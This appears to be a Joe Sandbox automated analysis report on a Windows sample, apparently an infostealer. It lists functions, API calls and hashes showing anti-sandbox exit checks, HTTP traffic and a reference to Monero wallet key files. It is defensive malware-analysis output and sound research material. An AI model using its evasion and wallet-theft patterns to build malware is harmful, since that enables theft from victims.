Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Tg
API String ID: 507064821-1752779648
Opcode ID: 02a1446b0205bc987cd6b67dace1d62dbb918423bb57d0f7c38823b489a1a25a
Instruction ID: 2b98b8c83b64b47a11272f0de3b1471b9abe1c71f9b87d6c305bc2d262a3e364
Opcode Fuzzy Hash: 02a1446b0205bc987cd6b67dace1d62dbb918423bb57d0f7c38823b489a1a25a
Instruction Fuzzy Hash: 5EE13171E10104AADB18FBB0DE96EED7378BF64340F508529B44766491EF386F09CBA2

Function 00A817A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00A817C5
ExitProcess.KERNEL32 ref: 00A817D1

Strings

block, xrefs: 00A817B7

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: e84aba3eb1213d4dca3e8a77a1effcab10cebc8594c7fe01a4e0af78b32d2e3a
Instruction ID: af98cf1cb32cf425f5f5bb8b4ca414dd85a39857ba70aabdadc92e7e3f717e87
Opcode Fuzzy Hash: e84aba3eb1213d4dca3e8a77a1effcab10cebc8594c7fe01a4e0af78b32d2e3a
Instruction Fuzzy Hash: D65137B4B04209EFDB04EFA4D954FBE77B9BF44744F108449E406AB280E775EA52CB62

Function 00A87500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00A87542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A8757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A87603
RtlAllocateHeap.NTDLL(00000000), ref: 00A8760A
wsprintfA.USER32 ref: 00A87640

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Strings

\, xrefs: 00A87560
C, xrefs: 00A8754C
:, xrefs: 00A8755C
Ph, xrefs: 00A87635

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$Ph$\
API String ID: 1544550907-292453683
Opcode ID: 559a13883d674542af149b53101ec483a8ac47ae208fd9b4bf299355641f1a94
Instruction ID: 2a57dad7a67cedef4c973490999e50667e2ef95705ad17d1bdf4fe071a934a90
Opcode Fuzzy Hash: 559a13883d674542af149b53101ec483a8ac47ae208fd9b4bf299355641f1a94
Instruction Fuzzy Hash: 6541A6B1D04258ABDF10EF94DD45BDEBBB8FF18704F100199F50967280DB79AA44CBA5

Function 00A869F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A89860: GetProcAddress.KERNEL32(77190000,00681648), ref: 00A898A1
Part of subcall function 00A89860: GetProcAddress.KERNEL32(77190000,00681618), ref: 00A898BA
Part of subcall function 00A89860: GetProcAddress.KERNEL32(77190000,00681660), ref: 00A898D2
Part of subcall function 00A89860: GetProcAddress.KERNEL32(77190000,006817B0), ref: 00A898EA
Part of subcall function 00A89860: GetProcAddress.KERNEL32(77190000,006817E0), ref: 00A89903
Part of subcall function 00A89860: GetProcAddress.KERNEL32(77190000,00688BF8), ref: 00A8991B
Part of subcall function 00A89860: GetProcAddress.KERNEL32(77190000,006754A8), ref: 00A89933
Part of subcall function 00A89860: GetProcAddress.KERNEL32(77190000,00675588), ref: 00A8994C
Part of subcall function 00A89860: GetProcAddress.KERNEL32(77190000,00681678), ref: 00A89964
Part of subcall function 00A89860: GetProcAddress.KERNEL32(77190000,00681690), ref: 00A8997C
Part of subcall function 00A89860: GetProcAddress.KERNEL32(77190000,006816A8), ref: 00A89995
Part of subcall function 00A89860: GetProcAddress.KERNEL32(77190000,006814F8), ref: 00A899AD
Part of subcall function 00A89860: GetProcAddress.KERNEL32(77190000,00675688), ref: 00A899C5
Part of subcall function 00A89860: GetProcAddress.KERNEL32(77190000,00681510), ref: 00A899DE

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A711D0: ExitProcess.KERNEL32 ref: 00A71211

Part of subcall function 00A71160: GetSystemInfo.KERNEL32(?), ref: 00A7116A
Part of subcall function 00A71160: ExitProcess.KERNEL32 ref: 00A7117E

Part of subcall function 00A71110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00A7112B
Part of subcall function 00A71110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00A71132
Part of subcall function 00A71110: ExitProcess.KERNEL32 ref: 00A71143

Part of subcall function 00A71220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00A7123E
Part of subcall function 00A71220: ExitProcess.KERNEL32 ref: 00A71294

Part of subcall function 00A86770: GetUserDefaultLangID.KERNEL32 ref: 00A86774

Part of subcall function 00A71190: ExitProcess.KERNEL32 ref: 00A711C6

Part of subcall function 00A87850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00A711B7), ref: 00A87880
Part of subcall function 00A87850: RtlAllocateHeap.NTDLL(00000000), ref: 00A87887
Part of subcall function 00A87850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00A8789F

Part of subcall function 00A878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A87910
Part of subcall function 00A878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00A87917
Part of subcall function 00A878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00A8792F

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00688C28,?,00A9110C,?,00000000,?,00A91110,?,00000000,00A90AEF), ref: 00A86ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A86AE8
CloseHandle.KERNEL32(00000000), ref: 00A86AF9
Sleep.KERNEL32(00001770), ref: 00A86B04
CloseHandle.KERNEL32(?,00000000,?,00688C28,?,00A9110C,?,00000000,?,00A91110,?,00000000,00A90AEF), ref: 00A86B1A
ExitProcess.KERNEL32 ref: 00A86B22

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: 914b5b723abd9b7590e6478fd560ec812766850c94ed17df94abf5622404cf26
Instruction ID: d7050e1fb4fb6cab2613df2354ef112437d29070b1495b44f2933a52c98acb6b
Opcode Fuzzy Hash: 914b5b723abd9b7590e6478fd560ec812766850c94ed17df94abf5622404cf26
Instruction Fuzzy Hash: E3315271E04208ABEB04FBF0DE56BEE7778AF14340F508619F252A6192DF746905C7B2

Function 00A86AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00688C28,?,00A9110C,?,00000000,?,00A91110,?,00000000,00A90AEF), ref: 00A86ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A86AE8
CloseHandle.KERNEL32(00000000), ref: 00A86AF9
Sleep.KERNEL32(00001770), ref: 00A86B04
CloseHandle.KERNEL32(?,00000000,?,00688C28,?,00A9110C,?,00000000,?,00A91110,?,00000000,00A90AEF), ref: 00A86B1A
ExitProcess.KERNEL32 ref: 00A86B22

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: e0bde07238c7bd1986563b61f08914ef3d7a58dc26f2337271b3b77c3309d8be
Instruction ID: 08e6ae71595344573947172eb643cb9c1f0b6d8d9b910b0b9a82adc1fc72af6d
Opcode Fuzzy Hash: e0bde07238c7bd1986563b61f08914ef3d7a58dc26f2337271b3b77c3309d8be
Instruction Fuzzy Hash: 82F05870E84209ABFB00BBA0DD0ABBEBB34FB18741F108615F952A11D1DBB15940DBA7

Function 00A747B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00A74839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00A74849

Strings

<, xrefs: 00A747C9

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: bc9dd9ed59e2dd19758f745234309a048ad680891ca7da9ce19c62e15ee55171
Instruction ID: c4b62d525dd4e336a6eaead9507a786f671fddc36e604927d64a2e0305a7b200
Opcode Fuzzy Hash: bc9dd9ed59e2dd19758f745234309a048ad680891ca7da9ce19c62e15ee55171
Instruction Fuzzy Hash: 402130B1D00209ABDF14EFA4ED4ABDD7B74FB44350F108625F555A7290DB706609CB91

Function 00A851F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A8A7E6

Part of subcall function 00A76280: InternetOpenA.WININET(00A90DFE,00000001,00000000,00000000,00000000), ref: 00A762E1
Part of subcall function 00A76280: StrCmpCA.SHLWAPI(?,0068F400), ref: 00A76303
Part of subcall function 00A76280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A76335
Part of subcall function 00A76280: HttpOpenRequestA.WININET(00000000,GET,?,0068EC88,00000000,00000000,00400100,00000000), ref: 00A76385
Part of subcall function 00A76280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00A763BF
Part of subcall function 00A76280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A763D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A85228

Strings

ERROR, xrefs: 00A8521A
ERROR, xrefs: 00A85273

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: d53006f8232e7172384feeec9420a3e07ae24b38aedfdde288650a185e49dc96
Instruction ID: f3439906a47ba1fc8d08a9a6f69d1cb120eaf4df2b1d18cd637b3c33dc9ecf77
Opcode Fuzzy Hash: d53006f8232e7172384feeec9420a3e07ae24b38aedfdde288650a185e49dc96
Instruction Fuzzy Hash: FA110330D10148A7DB18FF74DE92AED7778AF60340F408555F81A5A592FF356B05C792

Function 00A71220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00A7123E
ExitProcess.KERNEL32 ref: 00A71294

Strings

@, xrefs: 00A71233

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: f47545b307b5efd9c85b7ba1c3ff81eb278de6ecbc69601a317453b9b58b6878
Instruction ID: ee1af29facf99da51a96f27f5787391ef39d59b134827603f723b103792538a3
Opcode Fuzzy Hash: f47545b307b5efd9c85b7ba1c3ff81eb278de6ecbc69601a317453b9b58b6878
Instruction Fuzzy Hash: 82011DB0D44308FAEF10EBE4CD49BDEBBB8AB14705F20C159E709B62C1DB7459458799

Function 00A71110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00A7112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00A71132
ExitProcess.KERNEL32 ref: 00A71143

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 166f4319cea3a44ea61be736a17d52a79508e60d876fb93f45e68fa93136ae8f
Instruction ID: a2c79842eabaa44cbf8f81ce789df42cb833192afc885f29ede8e9fe4a229fe3
Opcode Fuzzy Hash: 166f4319cea3a44ea61be736a17d52a79508e60d876fb93f45e68fa93136ae8f
Instruction Fuzzy Hash: 90E01D70A4534CFFE7106BA4DD0EF0D76B8EB04B01F508154F74D7A5D0D6B526419699

Function 00A710A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00A710B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00A710F7

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 9a4c874cc3a2d7a6d08e6627923060969a0f6e2bde3e37a83d574cf0eefff9f2
Instruction ID: c1a3ec3a44f7b6b659b2ee13f02c8ce204f1903681571d3e611e6febcdb8ab1f
Opcode Fuzzy Hash: 9a4c874cc3a2d7a6d08e6627923060969a0f6e2bde3e37a83d574cf0eefff9f2
Instruction Fuzzy Hash: E1F0E271641308BBE7149BA8AC49FAEB7ECE705B15F304548F544E3280D9729E00CAA0

Function 00A71190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00A878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A87910
Part of subcall function 00A878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00A87917
Part of subcall function 00A878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00A8792F

Part of subcall function 00A87850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00A711B7), ref: 00A87880
Part of subcall function 00A87850: RtlAllocateHeap.NTDLL(00000000), ref: 00A87887
Part of subcall function 00A87850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00A8789F

ExitProcess.KERNEL32 ref: 00A711C6

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
